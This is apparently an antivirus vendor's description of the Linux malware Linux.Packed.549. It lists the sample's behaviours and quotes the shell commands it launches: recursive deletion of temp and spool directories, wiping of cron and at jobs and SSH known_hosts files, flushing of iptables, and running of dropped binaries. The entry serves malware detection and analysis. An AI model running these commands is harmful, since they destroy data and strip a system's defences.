Linux.Packed.549

Linux.Packed.549

Added to the Dr.Web virus database: 2019-08-11

Virus description added: 2019-08-11

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

Modifies firewall settings:

Launches processes:

sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; rm -rf /run/*/* ; rm -rf /var/run/*/*/*/* ; > /dev/null 2>&1
rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
rm -rf /tmp/*
crontab -r
sh -c rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; crontab -r ; iptables -F ; iptables-save >/dev/null 2>&1
rm -rf /home/*/.ss*/.kn*
rm -rf /root/.ss*/.kn*
rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
rm -rf /etc/cron.daily/apt /etc/cron.daily/aptitude /etc/cron.daily/bsdmainutils /etc/cron.daily/dpkg /etc/cron.daily/exim4-base /etc/cron.daily/logrotate /etc/cron.daily/man-db /etc/cron.daily/mlocate /etc/cron.daily/passwd /etc/cron.weekly/man-db
rm -rf /var/spool/anacro*/*/*
sh -c /root/gxplpe
iptables-save
/root/gxplpe
sh -c crontab -r ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; > /dev/null
rm -rf /var/spool/cr*/*
rm -rf /etc/cron.*/*
sh -c /root/ydctqo mrfs
/root/ydctqo mrfs
sh -c /root/ewco
/root/ewco

Kills system processes:

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

HTTP GET requests: